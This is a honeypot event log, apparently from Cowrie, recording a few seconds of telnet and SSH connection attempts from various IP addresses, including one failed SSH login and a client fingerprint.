{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33248,"dst_ip":"159.203.135.109","dst_port":23,"session":"df05bdaad5c3","protocol":"telnet","message":"New connection: 147.135.136.77:33248 (159.203.135.109:23) [session: df05bdaad5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.126368Z"}
{"eventid":"cowrie.session.closed","duration":30.867520809173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.144641Z","src_ip":"85.208.100.77","session":"2b20e515a433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58436,"dst_ip":"159.203.135.109","dst_port":23,"session":"182907b83e2c","protocol":"telnet","message":"New connection: 149.102.133.101:58436 (159.203.135.109:23) [session: 182907b83e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.157541Z"}
{"eventid":"cowrie.session.closed","duration":30.98272681236267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.164819Z","src_ip":"37.187.24.227","session":"797e3ec19b03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":36070,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ddfd35f8ee9","protocol":"telnet","message":"New connection: 37.187.24.227:36070 (159.203.135.109:23) [session: 7ddfd35f8ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.335295Z"}
{"eventid":"cowrie.session.closed","duration":31.30390167236328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.342161Z","src_ip":"168.119.91.149","session":"c43367816c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871861457824707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.469353Z","src_ip":"168.119.91.149","session":"c8797dba1b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3266282081604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.521951Z","src_ip":"168.119.91.149","session":"aae33c88e15c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40348,"dst_ip":"159.203.135.109","dst_port":23,"session":"21fedf2b8d8d","protocol":"telnet","message":"New connection: 81.30.157.18:40348 (159.203.135.109:23) [session: 21fedf2b8d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:35.589874Z"}
{"eventid":"cowrie.session.closed","duration":30.48872399330139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.047190Z","src_ip":"147.135.136.77","session":"c6d74b784874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01035976409912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.081362Z","src_ip":"168.119.91.149","session":"75ab02f30a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94305682182312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.087178Z","src_ip":"81.30.157.18","session":"6100afe72f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992937326431274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.097005Z","src_ip":"147.135.136.77","session":"c61057e6409d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57726,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a50f296d0ad","protocol":"telnet","message":"New connection: 168.119.91.149:57726 (159.203.135.109:23) [session: 4a50f296d0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.216860Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":38340,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d2ad0a2e21","protocol":"telnet","message":"New connection: 37.187.24.227:38340 (159.203.135.109:23) [session: 89d2ad0a2e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.326010Z"}
{"eventid":"cowrie.session.closed","duration":30.29075837135315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.476443Z","src_ip":"168.119.91.149","session":"85b622bcf250","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57728,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb87ad4160c9","protocol":"telnet","message":"New connection: 168.119.91.149:57728 (159.203.135.109:23) [session: eb87ad4160c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.532498Z"}
{"eventid":"cowrie.session.closed","duration":31.37237811088562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.748296Z","src_ip":"168.119.91.149","session":"f4ece7e79fc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57744,"dst_ip":"159.203.135.109","dst_port":23,"session":"eff7f8318c0c","protocol":"telnet","message":"New connection: 168.119.91.149:57744 (159.203.135.109:23) [session: eff7f8318c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.784800Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":49438,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbb28fc51ee5","protocol":"ssh","message":"New connection: 187.16.96.250:49438 (159.203.135.109:22) [session: cbb28fc51ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.794090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.800120Z","src_ip":"187.16.96.250","session":"cbb28fc51ee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:36.917967Z","src_ip":"187.16.96.250","session":"cbb28fc51ee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84495711326599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.134330Z","src_ip":"37.187.24.227","session":"f38a7caa4eda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":40524,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebbaae373c97","protocol":"telnet","message":"New connection: 37.187.24.227:40524 (159.203.135.109:23) [session: ebbaae373c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.156843Z"}
{"eventid":"cowrie.session.closed","duration":31.51014995574951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.218277Z","src_ip":"147.135.136.77","session":"4ef0a2da6dd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":35242,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8fb0a19eb6c","protocol":"telnet","message":"New connection: 46.101.32.143:35242 (159.203.135.109:23) [session: d8fb0a19eb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.223332Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40350,"dst_ip":"159.203.135.109","dst_port":23,"session":"7461a9291b55","protocol":"telnet","message":"New connection: 81.30.157.18:40350 (159.203.135.109:23) [session: 7461a9291b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.240757Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"222","message":"login attempt [user/222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.415230Z","src_ip":"187.16.96.250","session":"cbb28fc51ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40368,"dst_ip":"159.203.135.109","dst_port":23,"session":"f99a6acd2268","protocol":"telnet","message":"New connection: 81.30.157.18:40368 (159.203.135.109:23) [session: f99a6acd2268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.501433Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":42232,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb8600b28568","protocol":"telnet","message":"New connection: 37.187.24.227:42232 (159.203.135.109:23) [session: bb8600b28568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.550564Z"}
{"eventid":"cowrie.session.closed","duration":30.24561047554016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.606146Z","src_ip":"168.119.91.149","session":"089cdfc432ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40380,"dst_ip":"159.203.135.109","dst_port":23,"session":"71269b6e1e00","protocol":"telnet","message":"New connection: 81.30.157.18:40380 (159.203.135.109:23) [session: 71269b6e1e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:37.819069Z"}
{"eventid":"cowrie.session.closed","duration":30.415475606918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.072227Z","src_ip":"37.187.24.227","session":"16ca003883a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":32850,"dst_ip":"159.203.135.109","dst_port":23,"session":"881d2f15f264","protocol":"telnet","message":"New connection: 147.135.136.77:32850 (159.203.135.109:23) [session: 881d2f15f264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.128894Z"}
{"eventid":"cowrie.session.closed","duration":31.00910973548889,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.164109Z","src_ip":"147.135.136.77","session":"754230eb0cee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58462,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b5ec02f227e","protocol":"telnet","message":"New connection: 149.102.133.101:58462 (159.203.135.109:23) [session: 4b5ec02f227e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.169050Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57820,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2123db70911","protocol":"telnet","message":"New connection: 168.119.91.149:57820 (159.203.135.109:23) [session: c2123db70911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.174611Z"}
{"eventid":"cowrie.session.closed","duration":30.843565225601196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.253804Z","src_ip":"81.30.157.18","session":"63cfe110a33f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":32874,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f14e9db885","protocol":"telnet","message":"New connection: 147.135.136.77:32874 (159.203.135.109:23) [session: f4f14e9db885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.508307Z"}
{"eventid":"cowrie.session.closed","duration":30.963219165802002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.513287Z","src_ip":"168.119.91.149","session":"c0a1a537299d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391637802124023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.530088Z","src_ip":"168.119.91.149","session":"4b4b664c7c07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.537303Z","src_ip":"187.16.96.250","session":"cbb28fc51ee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57844,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea6d607b584","protocol":"telnet","message":"New connection: 168.119.91.149:57844 (159.203.135.109:23) [session: 5ea6d607b584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.643952Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57858,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d19a269e30","protocol":"telnet","message":"New connection: 168.119.91.149:57858 (159.203.135.109:23) [session: 50d19a269e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.698353Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40532,"dst_ip":"159.203.135.109","dst_port":23,"session":"df2970d59ca2","protocol":"telnet","message":"New connection: 81.30.157.18:40532 (159.203.135.109:23) [session: df2970d59ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:38.719164Z"}
{"eventid":"cowrie.session.closed","duration":30.979092121124268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.046426Z","src_ip":"81.30.157.18","session":"e569286275d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964568376541138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.060445Z","src_ip":"81.30.157.18","session":"3ae4e59be8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03411841392517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.074714Z","src_ip":"147.135.136.77","session":"099b592eeaff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04272150993347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.157900Z","src_ip":"147.135.136.77","session":"42b19c85a2bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781802654266357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.180613Z","src_ip":"81.30.157.18","session":"7106f7eefecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40638,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b34eb16f1d5","protocol":"telnet","message":"New connection: 81.30.157.18:40638 (159.203.135.109:23) [session: 8b34eb16f1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.249613Z"}
{"eventid":"cowrie.session.closed","duration":31.0124614238739,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.254507Z","src_ip":"149.102.133.101","session":"964f9a50d5ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40676,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed4285f98b8b","protocol":"telnet","message":"New connection: 81.30.157.18:40676 (159.203.135.109:23) [session: ed4285f98b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.441038Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40678,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ad89ca5e404","protocol":"telnet","message":"New connection: 81.30.157.18:40678 (159.203.135.109:23) [session: 7ad89ca5e404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.465590Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59698,"dst_ip":"159.203.135.109","dst_port":23,"session":"4df019751732","protocol":"telnet","message":"New connection: 168.119.91.149:59698 (159.203.135.109:23) [session: 4df019751732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.497133Z"}
{"eventid":"cowrie.session.closed","duration":30.922202348709106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.511901Z","src_ip":"46.101.32.143","session":"86148436b90d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863331079483032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.540105Z","src_ip":"168.119.91.149","session":"b772315f1f31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33397102355957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.557820Z","src_ip":"168.119.91.149","session":"f8e31b99f032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59704,"dst_ip":"159.203.135.109","dst_port":23,"session":"37af71bc9147","protocol":"telnet","message":"New connection: 168.119.91.149:59704 (159.203.135.109:23) [session: 37af71bc9147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.659307Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58496,"dst_ip":"159.203.135.109","dst_port":23,"session":"dad85a569b40","protocol":"telnet","message":"New connection: 149.102.133.101:58496 (159.203.135.109:23) [session: dad85a569b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:39.811906Z"}
{"eventid":"cowrie.session.closed","duration":30.56598210334778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.046796Z","src_ip":"147.135.136.77","session":"eb3c377d12d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59750,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d02aa197599","protocol":"telnet","message":"New connection: 168.119.91.149:59750 (159.203.135.109:23) [session: 7d02aa197599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.066828Z"}
{"eventid":"cowrie.session.closed","duration":30.757903575897217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.093455Z","src_ip":"81.30.157.18","session":"3c797bd4c64e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":47156,"dst_ip":"159.203.135.109","dst_port":23,"session":"16c9549b0149","protocol":"telnet","message":"New connection: 85.208.100.77:47156 (159.203.135.109:23) [session: 16c9549b0149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.129486Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59768,"dst_ip":"159.203.135.109","dst_port":23,"session":"557be7c5a7a0","protocol":"telnet","message":"New connection: 168.119.91.149:59768 (159.203.135.109:23) [session: 557be7c5a7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.195995Z"}
{"eventid":"cowrie.session.closed","duration":30.361771821975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.484469Z","src_ip":"168.119.91.149","session":"28895c3182be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":59788,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e479c51c83f","protocol":"telnet","message":"New connection: 168.119.91.149:59788 (159.203.135.109:23) [session: 6e479c51c83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.530565Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40866,"dst_ip":"159.203.135.109","dst_port":23,"session":"efe8debf1922","protocol":"telnet","message":"New connection: 81.30.157.18:40866 (159.203.135.109:23) [session: efe8debf1922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.552765Z"}
{"eventid":"cowrie.session.closed","duration":30.461103677749634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:40.670229Z","src_ip":"168.119.91.149","session":"b274ddd11580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41022,"dst_ip":"159.203.135.109","dst_port":23,"session":"070537298816","protocol":"telnet","message":"New connection: 81.30.157.18:41022 (159.203.135.109:23) [session: 070537298816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.021696Z"}
{"eventid":"cowrie.session.closed","duration":30.915367126464844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.044638Z","src_ip":"37.187.24.227","session":"2bd697b0a49b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933237314224243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.049160Z","src_ip":"37.187.24.227","session":"471b22f8fe3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97739267349243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.053511Z","src_ip":"81.30.157.18","session":"78b3c4b03067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":51482,"dst_ip":"159.203.135.109","dst_port":23,"session":"48b95906cc91","protocol":"telnet","message":"New connection: 37.187.24.227:51482 (159.203.135.109:23) [session: 48b95906cc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.097249Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41036,"dst_ip":"159.203.135.109","dst_port":23,"session":"73db22d3041e","protocol":"telnet","message":"New connection: 81.30.157.18:41036 (159.203.135.109:23) [session: 73db22d3041e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.139015Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":41038,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff0375b50e67","protocol":"telnet","message":"New connection: 81.30.157.18:41038 (159.203.135.109:23) [session: ff0375b50e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.174882Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":49048,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf91f601e28","protocol":"telnet","message":"New connection: 85.208.100.77:49048 (159.203.135.109:23) [session: 2bf91f601e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.216810Z"}
{"eventid":"cowrie.session.closed","duration":30.245516538619995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:41.474813Z","src_ip":"168.119.91.149","session":"23288efaffba","protocol":"telnet"}
